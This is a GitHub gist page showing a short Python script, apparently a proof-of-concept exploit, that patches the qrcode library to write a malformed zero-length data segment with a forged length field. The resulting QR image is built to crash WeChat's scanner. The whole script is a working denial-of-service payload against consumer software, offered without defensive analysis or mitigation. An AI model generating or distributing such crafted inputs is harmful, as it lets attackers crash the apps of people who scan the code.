Skip to content

Instantly share code, notes, and snippets.

@KnoooW
Forked from GZTimeWalker/qrcode_crash_wechat.py
Created April 25, 2023 01:45
Show Gist options
  • Save KnoooW/a62868a79ba5e31462c0b48edd194aae to your computer and use it in GitHub Desktop.
Save KnoooW/a62868a79ba5e31462c0b48edd194aae to your computer and use it in GitHub Desktop.
import qrcode
from qrcode.util import *
def hack_put(self, num, length):
if num == 0:
num = 233 # make a fake length
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = hack_put
qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)
qr.make_image()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment